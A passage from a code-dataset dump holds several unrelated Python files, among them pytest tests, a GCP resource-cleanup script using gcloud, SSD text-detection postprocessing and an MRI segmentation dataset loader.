\"notebook\": \"\",\n \"progressbar\": '',\n \"scale\": \"\",\n \"entry\": \"\",\n \"fullscreen\": \"\",\n\n}\n\n\ndef get_icon(identifier: str) -> str:\n # Fetch icons from the _resource database\n # return an empty string resource if not found\n return _resources.get(identifier, \"\")\n\n\ndef get_icon_image(identifier: str, width=25, height=25):\n return get_tk_image(identifier, width, height)\n","sub_path":"hoverset/ui/icons.py","file_name":"icons.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"394074644","text":"import pytest\n\nfrom data_builder import title_to_name_date\n\ntests = [\n (\n 'Title here | May 30th',\n ('Title here', '2020-05-30', 'May 30th')\n ),\n (\n 'Title here',\n ('Title here', '', '')\n ),\n]\n\n\n@pytest.mark.parametrize(\"input,expected\", tests)\ndef test_title_to_name_date(input, expected):\n assert title_to_name_date(input) == expected\n\n\ndef test_handle_missing_name(capsys):\n title_missing_name = '| May 30th'\n title_to_name_date(title_missing_name)\n\n captured = capsys.readouterr()\n assert \"Failed name parse: missing name for\" in str(captured) \n\n\n@pytest.mark.skip(reason=\"failing test, need to handle this case\")\ndef test_handle_name_with_multiple_pipes():\n malformed_title = 'Thing happened | this day | May 30th'\n result = title_to_name_date(malformed_title)\n # what should happen here?\n\n\ndef test_handle_missing_date(capsys):\n title_missing_date = 'Title thinger'\n title_to_name_date(title_missing_date)\n\n captured = capsys.readouterr()\n assert \"Failed date parse: missing date for\" in str(captured)\n\n\ndef test_handle_weird_date_format(capsys):\n title_with_bad_date = 'Title | Leb 21'\n\n result = title_to_name_date(title_with_bad_date)\n captured = capsys.readouterr()\n assert \"Failed date format parse for title\" in str(captured)\n\n\n@pytest.mark.skip(reason=\"failing test, need to handle this case\")\ndef test_handle_nonexistant_date():\n title_with_bad_date = 'Title | February 31st'\n\n result = title_to_name_date(title_with_bad_date)\n # what should happen here?\n","sub_path":"tools/tests/test_data_builder.py","file_name":"test_data_builder.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"458334926","text":"from back_end import Programadito\n\nclass TestJuego:\n\n def __init__(self, juego):\n self.juego = juego\n\n def revisar_nombres_vacios(self):\n if self.juego.nombre_jugador_1 != \"\" \\\n or self.juego.nombre_jugador_2 != \"\":\n raise ValueError(\"Nombre de ambos jugadores comienza vacio\")\n\n def revisar_nombres(self, nombre_1, nombre_2):\n if self.juego.nombre_jugador_1 != nombre_1 \\\n or self.juego.nombre_jugador_2 != nombre_2:\n raise ValueError(\"Nombres incorrectamente asignados\")\n\n def revisar_tablero_inicial(self):\n if not self.juego.turno_primero:\n raise ValueError(\"Siempre comienza el primer jugador\")\n if self.juego.carta_contada is not None \\\n or self.juego.carta_tirada is not None:\n raise ValueError(\"Aún no se juegan o cuentan cartas\")\n if len(self.juego.cartas_pozo) != 0:\n raise ValueError(\"Pozo de cartas debe comenzar vacio\")\n if len(self.juego.mazo_jugador_1) != 52 \\\n or len(self.juego.mazo_jugador_2) != 52:\n raise ValueError(\"Mazos de jugadores comienzan con 52 cartas\")\n\n def revisar_juego_no_iniciado(self):\n if self.juego.juego_comenzo:\n raise ValueError(\"Juego no ha comenzado aún\")\n \n def revisar_juego_iniciado(self):\n if not self.juego.juego_comenzo:\n raise ValueError(\"Juego ya debió comenzar\")\n\n def revisar_turno(self, n_jugador):\n if n_jugador == 1 and not self.juego.turno_primero:\n raise ValueError(\"No es el turno del primer jugador\")\n if n_jugador == 2 and self.juego.turno_primero:\n raise ValueError(\"No es el turno del segundo jugador\")\n\n def revisar_mazos(self, pozo, mazo_1, mazo_2):\n if len(self.juego.cartas_pozo) != pozo:\n raise ValueError(f\"No hay {mazo_1} cartas en el pozo.\")\n if len(self.juego.mazo_jugador_1) != mazo_1:\n raise ValueError(f\"No hay {mazo_1} cartas en el primer mazo.\")\n if len(self.juego.mazo_jugador_2) != mazo_2:\n raise ValueError(f\"No hay {mazo_2} cartas en el segundo mazo.\")\n\n\nif __name__ == \"__main__\":\n\n juego = Programadito()\n test = TestJuego(juego)\n\n # Revisar estado inicial de juego es correcto:\n test.revisar_nombres_vacios()\n test.revisar_tablero_inicial()\n test.revisar_juego_no_iniciado()\n\n # # Revisar que no ocurra nada cuando se tira una carta sin comenzar a jugar:\n # juego.tirar_carta(1)\n # juego.tirar_carta(2)\n # test.revisar_tablero_inicial()\n\n # # Revisar validación de nombres:\n # juego.ingresar_nombres(\"\", \"\")\n # test.revisar_nombres_vacios()\n # juego.ingresar_nombres(\"Juan\", \"Juan\")\n # test.revisar_nombres_vacios()\n # juego.ingresar_nombres(\"Juan 1\", \"Pedro\")\n # test.revisar_nombres_vacios()\n # juego.ingresar_nombres(\"Juan\", \"Pedro\")\n # test.revisar_nombres(\"Juan\", \"Pedro\")\n\n # # Revisar si cambia estado al comenzar juego:\n # juego.comenzar_juego()\n # test.revisar_juego_iniciado()\n\n # # Revisar que no puede comenzar segundo jugador\n # juego.tirar_carta(2)\n # test.revisar_tablero_inicial()\n\n # juego.tirar_carta(1)\n # test.revisar_turno(2)\n # test.revisar_mazos(1, 51, 52)\n\n # juego.tirar_carta(2)\n # test.revisar_turno(1)\n # test.revisar_mazos(2, 51, 51)\n\n\n","sub_path":"contenidos/semana-10-taller/testing-AC07/test_1.py","file_name":"test_1.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"220990426","text":"#!/usr/bin/env python3\n\"\"\"\nScript that cleanup assets and infrastructure created by query_builder setup\n\"\"\"\n\nimport click\nimport colorama\n\nfrom base import run_command\nfrom click_script_commons import (\n parse_args,\n configure_helpers,\n instruction_separator\n)\nfrom commands import (cluster_exists,\n static_ip_exists)\nfrom compute_handler import (\n network_exists,\n sub_network_exists,\n list_backend_services,\n delete_backend_service,\n list_target_proxies,\n delete_target_proxy,\n list_forwarding_rules,\n delete_forwarding_rules,\n list_health_checks,\n delete_health_check,\n list_url_maps,\n delete_url_maps\n)\nfrom region_validations import get_region_by_zone\nfrom simulation_mode import simulation_wall\nfrom sql_handler import (\n stop_instance,\n cloud_sql_instance_exists\n)\nfrom validator_handler import (validate_project, validate_zone)\n\ncolorama.init()\n\n\n@click.command()\n@click.option('--input-file',\n help='Input file', required=True)\n@click.option('--simulation/--no-simulation',\n default=True,\n help='Simulate the execution. Do not execute any command.')\ndef run_cleanup(simulation, input_file):\n \"\"\" run cleanup script flow \"\"\"\n with simulation_wall(simulation):\n configure_helpers(simulation)\n cleanup_input = parse_args(input_file)\n\n validate_arguments(cleanup_input)\n project = cleanup_input.query_builder.project_id\n zone = cleanup_input.query_builder.compute_zone\n region = get_region_by_zone(zone)\n network_name = cleanup_input.network.network_name\n sub_network_name = cleanup_input.network.sub_network_name\n gke_cluster = cleanup_input.cluster.cluster_name\n static_ip = cleanup_input.network.static_ip\n cloud_sql_instance_name = cleanup_input.cloud_sql.instance_name\n\n if cloud_sql_instance_exists(cloud_sql_instance_name, project):\n with instruction_separator(\"Cloud SQL Instance\", \"Stopping\"):\n stop_instance(cloud_sql_instance_name, project)\n\n if cluster_exists(gke_cluster, project):\n with instruction_separator(\"GKE Cluster\", \"Deleting\"):\n delete_gke_cluster(gke_cluster, project, zone)\n\n if static_ip_exists(static_ip, project):\n with instruction_separator(\"Static IP\", \"Deleting\"):\n delete_static_ip(project, static_ip)\n\n if sub_network_exists(sub_network_name, project):\n with instruction_separator(\"Subnetwork\", \"Deleting\"):\n delete_sub_network(project, region, sub_network_name)\n\n if network_exists(network_name, project):\n with instruction_separator(\"Network\", \"Deleting\"):\n delete_network(network_name, project)\n\n for backend_service in list_backend_services(project):\n delete_backend_service(project, backend_service[\"name\"])\n\n for target_proxy in list_target_proxies(project, \"https\"):\n delete_target_proxy(project, \"https\", target_proxy[\"name\"])\n\n for target_proxy in list_target_proxies(project, \"http\"):\n delete_target_proxy(project, \"http\", target_proxy[\"name\"])\n\n for forwarding_rule in list_forwarding_rules(project):\n delete_forwarding_rules(project, forwarding_rule[\"name\"])\n\n for health_check in list_health_checks(project):\n delete_health_check(project, health_check[\"name\"])\n\n for url_map in list_url_maps(project):\n delete_url_maps(project, url_map[\"name\"])\n\n\ndef validate_arguments(cli_input):\n \"\"\"Validate all needed properties for the given input\"\"\"\n check_zones(cli_input)\n check_projects(cli_input)\n\n\ndef check_zones(cli_input):\n \"\"\"Validate all zones for the given input\"\"\"\n project_id = cli_input.query_builder.project_id\n zones = [\n cli_input.query_builder.compute_zone,\n ]\n zones = set(zones)\n for zone in zones:\n element_message = 'zone: ' + zone\n validate_zone(zone, element_message, project_id)\n\n\ndef check_projects(cli_input):\n \"\"\"Validate query builder project id for the given input\"\"\"\n project_id = cli_input.query_builder.project_id\n element_message = 'project id: {}'.format(project_id)\n validate_project(project_id, element_message)\n\n\ndef delete_network(network_name, project):\n \"\"\"\n Delete the following network from the respective project.\n If there's a sub-network associated, this must be removed first.\n :param network_name: created network name\n :param project: project id\n :return:\n \"\"\"\n cmd = [\n 'gcloud', 'compute', 'networks', 'delete', network_name,\n '--project', project,\n '--quiet'\n ]\n run_command(cmd)\n\n\ndef delete_sub_network(project, region, sub_network_name):\n \"\"\"\n Delete the following sub-network from the respective project and compute\n region\n :param project: project id\n :param region: GCP compute region\n :param sub_network_name: created sub-network name\n :return:\n \"\"\"\n cmd = [\n 'gcloud', 'compute', 'networks', 'subnets', 'delete',\n sub_network_name,\n '--region', region,\n '--project', project,\n '--quiet'\n ]\n run_command(cmd)\n\n\ndef delete_static_ip(project, static_ip):\n \"\"\"\n Delete the static IP from the respective project\n :param project: project id\n :param static_ip: name that is referenced by the static IP\n :return:\n \"\"\"\n cmd = [\n 'gcloud', 'compute', 'addresses', 'delete', static_ip,\n '--global',\n '--project', project,\n '--quiet'\n ]\n run_command(cmd)\n\n\ndef delete_gke_cluster(gke_cluster, project, zone):\n \"\"\"\n Delete the following Kubernetes Cluster from the respective project and\n compute zone\n :param gke_cluster: created GKE cluster name\n :param project: project id\n :param zone: GCP compute zone\n :return:\n \"\"\"\n cmd = [\n 'gcloud', 'container', 'clusters', 'delete', gke_cluster,\n '--zone', zone,\n '--project', project,\n '--quiet'\n ]\n run_command(cmd)\n\n\ndef delete_bucket(bucket_name):\n \"\"\"\n Delete the referred bucket\n :param bucket_name: name of the bucket on Cloud Storage\n :return:\n \"\"\"\n cmd = [\n 'gsutil', 'rb',\n 'gs://' + bucket_name\n ]\n run_command(cmd)\n\n\ndef delete_bucket_contents(bucket_name):\n \"\"\"\n Delete the referred bucket contents\n :param bucket_name: name of the bucket on Cloud Storage\n :return:\n \"\"\"\n cmd = [\n 'gsutil', 'rm',\n 'gs://' + bucket_name + \"/**\"\n ]\n run_command(cmd)\n\n\nif __name__ == '__main__':\n run_cleanup() # pylint: disable=no-value-for-parameter\n","sub_path":"securitycenter/query-builder/setup/run_query_builder_cleanup.py","file_name":"run_query_builder_cleanup.py","file_ext":"py","file_size_in_byte":6721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"413992278","text":"import numpy as np\n\n\ndef non_maximum_suppression(boxes, confs, overlap_threshold, top_k):\n \"\"\"Does None-Maximum Suppresion on detection results.\n\n # Agruments\n boxes: Array of bounding boxes (boxes, xmin + ymin + xmax + ymax).\n confs: Array of corresponding confidenc values.\n overlap_threshold:\n top_k: Maximum number of returned indices.\n\n # Return\n List of remaining indices.\n\n # References\n - Girshick, R. B. and Felzenszwalb, P. F. and McAllester, D.\n [Discriminatively Trained Deformable Part Models, Release 5](http://people.cs.uchicago.edu/~rbg/latent-release5/)\n \"\"\"\n eps = 1e-15\n\n boxes = boxes.astype(np.float64)\n\n pick = []\n x1, y1, x2, y2 = boxes.T\n\n idxs = np.argsort(confs)\n area = (x2 - x1) * (y2 - y1)\n\n while len(idxs) > 0:\n i = idxs[-1]\n\n pick.append(i)\n if len(pick) >= top_k:\n break\n\n idxs = idxs[:-1]\n\n xx1 = np.maximum(x1[i], x1[idxs])\n yy1 = np.maximum(y1[i], y1[idxs])\n xx2 = np.minimum(x2[i], x2[idxs])\n yy2 = np.minimum(y2[i], y2[idxs])\n\n w = np.maximum(0, xx2 - xx1)\n h = np.maximum(0, yy2 - yy1)\n I = w * h\n\n overlap = I / (area[idxs] + eps)\n\n idxs = idxs[overlap <= overlap_threshold]\n\n return pick\n\n\nclass PriorMap(object):\n def __init__(\n self,\n image_size,\n map_size,\n minmax_size=None,\n variances=(0.1, 0.1, 0.2, 0.2),\n aspect_ratios=(1,),\n shift=None,\n ):\n\n self.image_size = image_size\n self.map_size = map_size\n self.minmax_size = minmax_size\n self.variances = variances\n self.aspect_ratios = aspect_ratios\n self.shift = shift\n\n def compute_priors(self):\n image_h, image_w = image_size = self.image_size\n map_h, map_w = map_size = self.map_size\n min_size, max_size = self.minmax_size\n\n step_x = image_w / map_w\n step_y = image_h / map_h\n assert (\n step_x % 1 == 0 and step_y % 1 == 0\n ), \"map size %s not constiten with input size %s\" % (map_size, image_size)\n\n linx = np.array([(0.5 + i) for i in range(map_w)]) * step_x\n liny = np.array([(0.5 + i) for i in range(map_h)]) * step_y\n box_xy = np.array(np.meshgrid(linx, liny)).reshape(2, -1).T\n\n shift = self.shift\n\n box_wh = []\n box_shift = []\n for i in range(len(self.aspect_ratios)):\n ar = self.aspect_ratios[i]\n box_wh.append([min_size * np.sqrt(ar), min_size / np.sqrt(ar)])\n box_shift.append(shift[i])\n\n box_wh = np.asarray(box_wh)\n\n box_shift = np.asarray(box_shift)\n box_shift = np.clip(box_shift, -1.0, 1.0)\n box_shift = box_shift * np.array([step_x, step_y]) # percent to pixels\n\n # values for individual prior boxes\n priors_shift = np.tile(box_shift, (len(box_xy), 1))\n priors_xy = np.repeat(box_xy, len(box_wh), axis=0) + priors_shift\n priors_wh = np.tile(box_wh, (len(box_xy), 1))\n\n priors_min_xy = priors_xy - priors_wh / 2.0\n priors_max_xy = priors_xy + priors_wh / 2.0\n\n priors_variances = np.tile(self.variances, (len(priors_xy), 1))\n\n self.priors_xy = priors_xy\n self.priors_wh = priors_wh\n self.priors_variances = priors_variances\n self.priors = np.concatenate(\n [priors_min_xy, priors_max_xy, priors_variances], axis=1,\n )\n\n\nclass PriorUtil(object):\n \"\"\"Utility for SSD prior boxes.\n \"\"\"\n\n def __init__(self, map_sizes, aspect_ratios, shifts, scale):\n\n self.image_size = (256, 256)\n num_maps = len(map_sizes)\n\n min_dim = np.min(self.image_size)\n min_ratio = 10 # 15\n max_ratio = 100 # 90\n s = np.linspace(min_ratio, max_ratio, num_maps + 1) * min_dim / 100.0\n minmax_sizes = [(round(s[i]), round(s[i + 1])) for i in range(len(s) - 1)]\n\n minmax_sizes = np.array(minmax_sizes) * scale\n\n self.prior_maps = []\n for i, map_size in enumerate(map_sizes):\n m = PriorMap(\n image_size=self.image_size,\n map_size=map_size,\n minmax_size=minmax_sizes[i],\n variances=[0.1, 0.1, 0.2, 0.2],\n aspect_ratios=aspect_ratios,\n shift=shifts,\n )\n self.prior_maps.append(m)\n self.update_priors()\n\n self.nms_top_k = 400\n self.nms_thresh = 0.45\n\n def update_priors(self):\n priors_xy = []\n priors_wh = []\n priors_variances = []\n\n map_offsets = [0]\n for i in range(len(self.prior_maps)):\n m = self.prior_maps[i]\n\n # compute prior boxes\n m.compute_priors()\n\n # collect prior data\n priors_xy.append(m.priors_xy)\n priors_wh.append(m.priors_wh)\n priors_variances.append(m.priors_variances)\n map_offsets.append(map_offsets[-1] + len(m.priors))\n\n self.priors_xy = np.concatenate(priors_xy, axis=0)\n self.priors_wh = np.concatenate(priors_wh, axis=0)\n self.priors_variances = np.concatenate(priors_variances, axis=0)\n\n def decode_results(self, model_output, confidence_threshold=0.7, keep_top_k=200):\n\n prior_mask = model_output[:, 17:] > confidence_threshold\n\n mask = np.any(prior_mask[:, 1:], axis=1)\n prior_mask = prior_mask[mask]\n mask = np.ix_(mask)[0]\n model_output = model_output[mask]\n priors_xy = self.priors_xy[mask] / self.image_size\n priors_wh = self.priors_wh[mask] / self.image_size\n priors_variances = self.priors_variances[mask, :]\n priors_xy_minmax = np.hstack(\n [priors_xy - priors_wh / 2, priors_xy + priors_wh / 2],\n )\n\n offsets = model_output[:, 13:17]\n offsets_quads = model_output[:, 5:13]\n confidence = model_output[:, 17:]\n\n ref = priors_xy_minmax[:, (0, 1, 2, 1, 2, 3, 0, 3)] # corner points\n variances_xy = priors_variances[:, 0:2]\n\n num_priors = offsets.shape[0]\n num_classes = confidence.shape[1]\n\n # compute bounding boxes from local offsets\n boxes = np.empty((num_priors, 4))\n offsets = offsets * priors_variances\n boxes_xy = priors_xy + offsets[:, 0:2] * priors_wh\n boxes_wh = priors_wh * np.exp(offsets[:, 2:4])\n boxes[:, 0:2] = boxes_xy - boxes_wh / 2.0 # xmin, ymin\n boxes[:, 2:4] = boxes_xy + boxes_wh / 2.0 # xmax, ymax\n boxes = np.clip(boxes, 0.0, 1.0)\n\n # do non maximum suppression\n results = []\n for c in range(1, num_classes):\n mask = prior_mask[:, c]\n boxes_to_process = boxes[mask]\n if len(boxes_to_process) > 0:\n confs_to_process = confidence[mask, c]\n\n idx = non_maximum_suppression(\n boxes_to_process, confs_to_process, self.nms_thresh, self.nms_top_k,\n )\n\n good_quads = ref[mask][idx] + offsets_quads[mask][idx] * np.tile(\n priors_wh[mask][idx] * variances_xy[mask][idx], (1, 4),\n )\n\n results.extend(good_quads)\n if len(results) > 0:\n results = np.array(results)\n order = np.argsort(-results[:, 5])\n results = results[order]\n results = results[:keep_top_k]\n else:\n results = np.empty((0, 6))\n\n return results\n","sub_path":"textboxes_plus_plus/textboxes_plus_plus/postprocessing.py","file_name":"postprocessing.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"68410515","text":"# compiled_pyke_files.py\n\nfrom pyke import target_pkg\n\npyke_version = '1.1.1'\ncompiler_version = 1\ntarget_pkg_version = 1\n\ntry:\n loader = __loader__\nexcept NameError:\n loader = None\n\ndef get_target_pkg():\n return target_pkg.target_pkg(__name__, __file__, pyke_version, loader, {\n ('', '', 'fc_area_recommend.krb'):\n [1504595110.951, 'fc_area_recommend_fc.py'],\n ('', '', 'coil_area.kfb'):\n [1504595110.981, 'coil_area.fbc'],\n },\n compiler_version)\n\n","sub_path":"compiled_krb/compiled_pyke_files.py","file_name":"compiled_pyke_files.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"397277870","text":"import copy\nimport random\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\n\nfrom ivadomed import transforms as imed_transforms, postprocessing as imed_postpro\nfrom ivadomed.loader import utils as imed_loader_utils\nfrom ivadomed.loader.utils import dropout_input\nfrom ivadomed.loader.segmentation_pair import SegmentationPair\nfrom ivadomed.object_detection import utils as imed_obj_detect\nfrom ivadomed.keywords import ROIParamsKW\n\n\nclass MRI2DSegmentationDataset(Dataset):\n \"\"\"Generic class for 2D (slice-wise) segmentation dataset.\n\n Args:\n filename_pairs (list): a list of tuples in the format (input filename list containing all modalities,ground \\\n truth filename, ROI filename, metadata).\n length (list): Size of each dimensions of the patches, length equals 0 (no patching) or 2 (2d patching).\n stride (list): Size of the pixels' shift between patches, length equals 0 (no patching) or 2 (2d patching).\n slice_axis (int): Indicates the axis used to extract 2D slices from 3D NifTI files:\n \"axial\": 2, \"sagittal\": 0, \"coronal\": 1. 2D PNG/TIF/JPG files use default \"axial\": 2.\n cache (bool): if the data should be cached in memory or not.\n transform (torchvision.Compose): transformations to apply.\n slice_filter_fn (dict): Slice filter parameters, see :doc:`configuration_file` for more details.\n task (str): choice between segmentation or classification. If classification: GT is discrete values, \\\n If segmentation: GT is binary mask.\n roi_params (dict): Dictionary containing parameters related to ROI image processing.\n soft_gt (bool): If True, ground truths are not binarized before being fed to the network. Otherwise, ground\n truths are thresholded (0.5) after the data augmentation operations.\n is_input_dropout (bool): Return input with missing modalities.\n\n Attributes:\n indexes (list): List of indices corresponding to each slice or patch in the dataset.\n handlers (list): List of indices corresponding to each slice in the dataset, used for indexing patches.\n filename_pairs (list): List of tuples in the format (input filename list containing all modalities,ground \\\n truth filename, ROI filename, metadata).\n length (list): Size of each dimensions of the patches, length equals 0 (no patching) or 2 (2d patching).\n stride (list): Size of the pixels' shift between patches, length equals 0 (no patching) or 2 (2d patching).\n is_2d_patch (bool): True if length in model params.\n prepro_transforms (Compose): Transformations to apply before training.\n transform (Compose): Transformations to apply during training.\n cache (bool): Tf the data should be cached in memory or not.\n slice_axis (int): Indicates the axis used to extract 2D slices from 3D NifTI files:\n \"axial\": 2, \"sagittal\": 0, \"coronal\": 1. 2D PNG/TIF/JPG files use default \"axial\": 2.\n slice_filter_fn (dict): Slice filter parameters, see :doc:`configuration_file` for more details.\n n_contrasts (int): Number of input contrasts.\n has_bounding_box (bool): True if bounding box in all metadata, else False.\n task (str): Choice between segmentation or classification. If classification: GT is discrete values, \\\n If segmentation: GT is binary mask.\n soft_gt (bool): If True, ground truths are not binarized before being fed to the network. Otherwise, ground\n truths are thresholded (0.5) after the data augmentation operations.\n slice_filter_roi (bool): Indicates whether a slice filtering is done based on ROI data.\n roi_thr (int): If the ROI mask contains less than this number of non-zero voxels, the slice will be discarded\n from the dataset.\n is_input_dropout (bool): Return input with missing modalities.\n\n \"\"\"\n\n def __init__(self, filename_pairs, length=None, stride=None, slice_axis=2, cache=True, transform=None,\n slice_filter_fn=None, task=\"segmentation\", roi_params=None, soft_gt=False, is_input_dropout=False):\n if length is None:\n length = []\n if stride is None:\n stride = []\n self.indexes = []\n self.handlers = []\n self.filename_pairs = filename_pairs\n self.length = length\n self.stride = stride\n self.is_2d_patch = True if self.length else False\n self.prepro_transforms, self.transform = transform\n self.cache = cache\n self.slice_axis = slice_axis\n self.slice_filter_fn = slice_filter_fn\n self.n_contrasts = len(self.filename_pairs[0][0])\n if roi_params is None:\n roi_params = {ROIParamsKW.SUFFIX: None, ROIParamsKW.SLICE_FILTER_ROI: None}\n self.roi_thr = roi_params[ROIParamsKW.SLICE_FILTER_ROI]\n self.slice_filter_roi = roi_params[ROIParamsKW.SUFFIX] is not None and isinstance(self.roi_thr, int)\n self.soft_gt = soft_gt\n self.has_bounding_box = True\n self.task = task\n self.is_input_dropout = is_input_dropout\n\n\n def load_filenames(self):\n \"\"\"Load preprocessed pair data (input and gt) in handler.\"\"\"\n for input_filenames, gt_filenames, roi_filename, metadata in self.filename_pairs:\n roi_pair = SegmentationPair(input_filenames, roi_filename, metadata=metadata, slice_axis=self.slice_axis,\n cache=self.cache, prepro_transforms=self.prepro_transforms)\n\n seg_pair = SegmentationPair(input_filenames, gt_filenames, metadata=metadata, slice_axis=self.slice_axis,\n cache=self.cache, prepro_transforms=self.prepro_transforms,\n soft_gt=self.soft_gt)\n\n input_data_shape, _ = seg_pair.get_pair_shapes()\n\n for idx_pair_slice in range(input_data_shape[-1]):\n slice_seg_pair = seg_pair.get_pair_slice(idx_pair_slice, gt_type=self.task)\n self.has_bounding_box = imed_obj_detect.verify_metadata(slice_seg_pair, self.has_bounding_box)\n\n if self.has_bounding_box:\n self.prepro_transforms = imed_obj_detect.adjust_transforms(self.prepro_transforms, slice_seg_pair)\n\n if self.slice_filter_fn and not self.slice_filter_fn(slice_seg_pair):\n continue\n\n # Note: we force here gt_type=segmentation since ROI slice is needed to Crop the image\n slice_roi_pair = roi_pair.get_pair_slice(idx_pair_slice, gt_type=\"segmentation\")\n\n if self.slice_filter_roi and imed_loader_utils.filter_roi(slice_roi_pair['gt'], self.roi_thr):\n continue\n\n item = imed_transforms.apply_preprocessing_transforms(self.prepro_transforms,\n slice_seg_pair,\n slice_roi_pair)\n\n # If is_2d_patch, create handlers list for indexing patch\n if self.is_2d_patch:\n for metadata in item[0]['input_metadata']:\n metadata['index_shape'] = item[0]['input'][0].shape\n self.handlers.append((item))\n # else, append the whole slice to self.indexes\n else:\n self.indexes.append(item)\n\n # If is_2d_patch, prepare indices of patches\n if self.is_2d_patch:\n self.prepare_indices()\n\n def prepare_indices(self):\n \"\"\"Stores coordinates of 2d patches for training.\"\"\"\n for i in range(0, len(self.handlers)):\n\n input_img = self.handlers[i][0]['input']\n shape = input_img[0].shape\n\n if len(self.length) != 2 or len(self.stride) != 2:\n raise RuntimeError('\"length_2D\" and \"stride_2D\" must be of length 2.')\n for length, stride, size in zip(self.length, self.stride, shape):\n if stride > length or stride <= 0:\n raise RuntimeError('\"stride_2D\" must be greater than 0 and smaller or equal to \"length_2D\".')\n if length > size:\n raise RuntimeError('\"length_2D\" must be smaller or equal to image dimensions after resampling.')\n\n for x in range(0, (shape[0] - self.length[0] + self.stride[0]), self.stride[0]):\n if x + self.length[0] > shape[0]:\n x = (shape[0] - self.length[0])\n for y in range(0, (shape[1] - self.length[1] + self.stride[1]), self.stride[1]):\n if y + self.length[1] > shape[1]:\n y = (shape[1] - self.length[1])\n self.indexes.append({\n 'x_min': x,\n 'x_max': x + self.length[0],\n 'y_min': y,\n 'y_max': y + self.length[1],\n 'handler_index': i})\n\n def set_transform(self, transform):\n self.transform = transform\n\n def __len__(self):\n return len(self.indexes)\n\n def __getitem__(self, index):\n \"\"\"Return the specific processed data corresponding to index (input, ground truth, roi and metadata).\n\n Args:\n index (int): Slice index.\n \"\"\"\n\n # copy.deepcopy is used to have different coordinates for reconstruction for a given handler with patch,\n # to allow a different rater at each iteration of training, and to clean transforms params from previous\n # transforms i.e. remove params from previous iterations so that the coming transforms are different\n if self.is_2d_patch:\n coord = self.indexes[index]\n seg_pair_slice, roi_pair_slice = copy.deepcopy(self.handlers[coord['handler_index']])\n else:\n seg_pair_slice, roi_pair_slice = copy.deepcopy(self.indexes[index])\n\n # In case multiple raters\n if seg_pair_slice['gt'] and isinstance(seg_pair_slice['gt'][0], list):\n # Randomly pick a rater\n idx_rater = random.randint(0, len(seg_pair_slice['gt'][0]) - 1)\n # Use it as ground truth for this iteration\n # Note: in case of multi-class: the same rater is used across classes\n for idx_class in range(len(seg_pair_slice['gt'])):\n seg_pair_slice['gt'][idx_class] = seg_pair_slice['gt'][idx_class][idx_rater]\n seg_pair_slice['gt_metadata'][idx_class] = seg_pair_slice['gt_metadata'][idx_class][idx_rater]\n\n metadata_input = seg_pair_slice['input_metadata'] if seg_pair_slice['input_metadata'] is not None else []\n metadata_roi = roi_pair_slice['gt_metadata'] if roi_pair_slice['gt_metadata'] is not None else []\n metadata_gt = seg_pair_slice['gt_metadata'] if seg_pair_slice['gt_metadata'] is not None else []\n\n # Run transforms on ROI\n # ROI goes first because params of ROICrop are needed for the followings\n stack_roi, metadata_roi = self.transform(sample=roi_pair_slice[\"gt\"],\n metadata=metadata_roi,\n data_type=\"roi\")\n\n # Update metadata_input with metadata_roi\n metadata_input = imed_loader_utils.update_metadata(metadata_roi, metadata_input)\n\n # Run transforms on images\n stack_input, metadata_input = self.transform(sample=seg_pair_slice[\"input\"],\n metadata=metadata_input,\n data_type=\"im\")\n\n # Update metadata_gt with metadata_input\n metadata_gt = imed_loader_utils.update_metadata(metadata_input, metadata_gt)\n\n if self.task == \"segmentation\":\n # Run transforms on images\n stack_gt, metadata_gt = self.transform(sample=seg_pair_slice[\"gt\"],\n metadata=metadata_gt,\n data_type=\"gt\")\n # Make sure stack_gt is binarized\n if stack_gt is not None and not self.soft_gt:\n stack_gt = imed_postpro.threshold_predictions(stack_gt, thr=0.5).astype(np.uint8)\n\n else:\n # Force no transformation on labels for classification task\n # stack_gt is a tensor of size 1x1, values: 0 or 1\n # \"expand(1)\" is necessary to be compatible with segmentation convention: n_labelxhxwxd\n stack_gt = torch.from_numpy(seg_pair_slice[\"gt\"][0]).expand(1)\n\n # If is_2d_patch, add coordinates to metadata to reconstruct image\n if self.is_2d_patch:\n shape_x = coord[\"x_max\"] - coord[\"x_min\"]\n shape_y = coord[\"y_max\"] - coord[\"y_min\"]\n\n for metadata in metadata_input:\n metadata['coord'] = [coord[\"x_min\"], coord[\"x_max\"], coord[\"y_min\"], coord[\"y_max\"]]\n\n data_dict = {\n 'input': torch.zeros(stack_input.shape[0], shape_x, shape_y),\n 'gt': torch.zeros(stack_gt.shape[0], shape_x, shape_y) if stack_gt is not None else None,\n 'roi': torch.zeros(stack_roi.shape[0], shape_x, shape_y) if stack_roi is not None else None,\n 'input_metadata': metadata_input,\n 'gt_metadata': metadata_gt,\n 'roi_metadata': metadata_roi\n }\n\n for _ in range(len(stack_input)):\n data_dict['input'] = stack_input[:,\n coord['x_min']:coord['x_max'],\n coord['y_min']:coord['y_max']]\n\n if stack_gt is not None:\n for _ in range(len(stack_gt)):\n data_dict['gt'] = stack_gt[:,\n coord['x_min']:coord['x_max'],\n coord['y_min']:coord['y_max']]\n\n if stack_roi is not None:\n for _ in range(len(stack_roi)):\n data_dict['roi'] = stack_roi[:,\n coord['x_min']:coord['x_max'],\n coord['y_min']:coord['y_max']]\n\n else:\n data_dict = {\n 'input': stack_input,\n 'gt': stack_gt,\n 'roi': stack_roi,\n 'input_metadata': metadata_input,\n 'gt_metadata': metadata_gt,\n 'roi_metadata': metadata_roi\n }\n\n # Input-level dropout to train with missing modalities\n if self.is_input_dropout:\n data_dict = dropout_input(data_dict)\n\n return data_dict\n","sub_path":"ivadomed/loader/mri2d_segmentation_dataset.py","file_name":"mri2d_segmentation_dataset.py","file_ext":"py","file_size_in_byte":14717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} 